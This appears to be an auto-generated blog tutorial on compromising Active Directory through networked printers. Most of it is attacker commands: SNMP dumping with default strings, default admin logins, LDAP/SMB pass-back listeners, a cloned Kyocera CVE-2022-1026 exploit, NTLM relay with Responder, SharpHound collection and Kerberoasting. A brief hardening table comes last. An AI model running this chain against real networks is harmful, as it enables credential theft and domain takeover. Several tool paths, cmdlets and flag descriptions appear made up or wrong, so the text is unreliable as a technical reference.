Listen to this Post
Introduction:
In the race to secure endpoints and servers, the humble office printer has become a silent liability—a fully networked, often unmonitored computer running outdated protocols and storing domain credentials in cleartext. Attackers exploit this oversight by leveraging IoT printer vulnerabilities to capture Active Directory authentication data, pivot laterally, and ultimately compromise the entire domain.
Learning Objectives:
- Understand how misconfigured printer protocols (SNMP, LDAP, SMB) can be exploited via pass-back attacks to leak domain credentials.
- Execute a complete attack chain from printer discovery to Active Directory compromise using tools like PRET, ntlmrelayx, and BloodHound.
- Implement practical defensive measures including network segmentation, protocol hardening, and continuous monitoring to block printer-based escalation.
You Should Know:
- Printer Discovery & SNMP Enumeration: Finding Your Entry Point
Modern printers often expose SNMPv1/v2 with default community strings like “public”, allowing attackers to retrieve system names, network settings, and even stored credentials. The following commands demonstrate how an adversary enumerates printer information on a Linux attack host.
Step‑by‑step enumeration guide:
- Discover printers on the local network using
nmap:sudo nmap -sU -p 161 --script snmp-info 192.168.1.0/24
- Walk the entire SNMP MIB tree to extract configuration data:
snmpwalk -v2c -c public 192.168.1.100 > printer_mib_dump.txt
3. Automate credential harvesting with `snmpcheck`:
snmpcheck -t 192.168.1.100 -c public -w
This command outputs readable system information, running services, and if misconfigured, even stored authentication secrets. Windows defenders can use `Get-SnmpCommunity` from the `SNMP` module to audit community strings across the domain.
- The Pass‑Back Attack: Redirecting LDAP/SMB to Capture Credentials
A pass‑back attack occurs when an attacker with administrative access to a printer’s web interface changes the LDAP or SMB server IP address to a machine they control. The printer then sends domain credentials in cleartext to the attacker’s listening service.
Execution from Linux (attacker perspective):
- Access the printer’s embedded web server (default credentials: admin/blank or 11111/x-admin).
- Navigate to the LDAP/SMB configuration page and modify the server IP to your Kali host (e.g., 192.168.1.200).
- Start a rogue LDAP listener to capture credentials:
sudo python3 /usr/share/doc/python3-ldap/examples/ldap_passback.py
- Alternatively, set up an SMB listener using
impacket-smbserver:impacket-smbserver share ./ -smb2support
- Trigger the printer to attempt authentication (e.g., by initiating a scan-to-folder job). The printer will send the domain account credentials in plaintext to your listener.
- Capture and crack credentials using `john` or use them directly for lateral movement.
For Windows defenders, enabling LDAP signing and SMB encryption on the printer side prevents these attacks.
3. CVE‑2022‑1026: Unauthenticated Data Extraction from Kyocera Printers
This critical vulnerability in Kyocera multifunction printers allows an unauthenticated attacker on the same network to extract cleartext address books and domain-joined passwords via the SOAP service on port 9091/TCP.
Exploitation step‑by‑step:
- Identify vulnerable Kyocera printers by scanning for port 9091:
nmap -p 9091 --open 192.168.1.0/24
2. Clone the PoC repository:
git clone https://github.com/h4po0n/kyocera-cve-2022-1026_SOAP1.1.git cd kyocera-cve-2022-1026_SOAP1.1
3. Run the exploit against a target printer:
python3 kyocera_exploit.py -t 192.168.1.100
4. Parse the retrieved credentials – the script outputs address book entries, including usernames and plaintext domain passwords. These can be immediately used for authentication against domain controllers or other network services.
- NTLM Relay: From Printer Credentials to Domain Admin
Once a single domain account is captured (e.g., from SNMP or CVE-2022-1026), attackers can use NTLM relay techniques to escalate privileges. This attack relies on missing SMB signing and lack of Extended Protection for Authentication (EPA).
Relay attack workflow using `ntlmrelayx.py`:
- From a Linux attack host, set up a relay listener targeting the domain controller’s LDAP service:
sudo ntlmrelayx.py -t ldap://192.168.1.10 --escalate-user <captured_username>
- Poison LLMNR/NBT-NS to intercept authentication requests (using Responder):
sudo responder -I eth0 -wrf
- When a workstation attempts to resolve a non-existent host, Responder forces it to authenticate to your relay host, which forwards the NTLM hash to the domain controller, creating a new domain admin account.
- Alternatively, relay to SMB to dump SAM hashes:
sudo ntlmrelayx.py -t smb://192.168.1.20 -smb2support
-
Lateral Movement & Active Directory Takeover with BloodHound
After obtaining initial domain credentials, an attacker maps the AD attack surface using BloodHound. This tool visualifies relationships between objects, revealing paths to Domain Admin.
Operational steps:
- On a compromised Windows machine, collect AD data using SharpHound:
.\SharpHound.exe -c All --outputdirectory C:\temp\
- Transfer the resulting ZIP file to your Linux attack host.
3. Start Neo4j and BloodHound:
sudo neo4j start bloodhound --no-sandbox
4. Upload the data and use built-in queries (e.g., “Find Shortest Paths to Domain Admins” or “Find Kerberoastable Users”).
5. Execute attacks based on BloodHound findings – for example, Kerberoasting a service account:
impacket-GetUserSPNs -request -dc-ip 192.168.1.10 domain.local/captured_user
6. Defensive Hardening: Treating Printers as Tier‑0 Assets
To shut down these attack vectors, organizations must apply the following mitigations:
| Control | Implementation |
||-|
| Change default credentials | Immediately set complex passwords for printer admin interfaces. |
| Disable unnecessary services | Turn off SNMPv1/v2, FTP, Telnet, and unused printing protocols. Use SNMPv3 with authentication and encryption if needed. |
| Network segmentation | Place printers in an isolated VLAN with strict firewall rules preventing direct communication with domain controllers. |
| Enable LDAP signing and SMB encryption | Prevents pass‑back and relay attacks. |
| Regular firmware updates | Patch known vulnerabilities like CVE-2022-1026. |
| Monitor logs | Send printer logs to a SIEM; alert on configuration changes or authentication attempts to rogue IPs. |
What Undercode Say:
- Printers are no longer just output devices—they are full computers that store and broadcast domain credentials, often with minimal logging. Attackers don’t need advanced exploits; default configurations and outdated protocols are sufficient.
- A single compromised printer can serve as a beachhead for the entire Active Directory forest. The pass‑back attack is particularly dangerous because it requires no code execution—just a misconfigured LDAP/SMB setting.
- Organizations must shift their mindset: every networked device, regardless of function, is a potential entry point. Treat printers with the same security rigor as domain controllers.
Prediction:
As IoT devices continue to proliferate in enterprise environments, printer‑based attacks will become a standard initial access vector for ransomware groups and nation‑state actors. In the next 12–18 months, expect to see a sharp rise in “printer‑first” intrusions, leading to the development of specialised detection rules and vendor‑mandated hardening guides. The window for proactive mitigation is closing rapidly—organisations that fail to secure their print infrastructure will find themselves explaining to regulators how a $500 MFP led to a $10 million breach.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Jmetayer Piratage – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
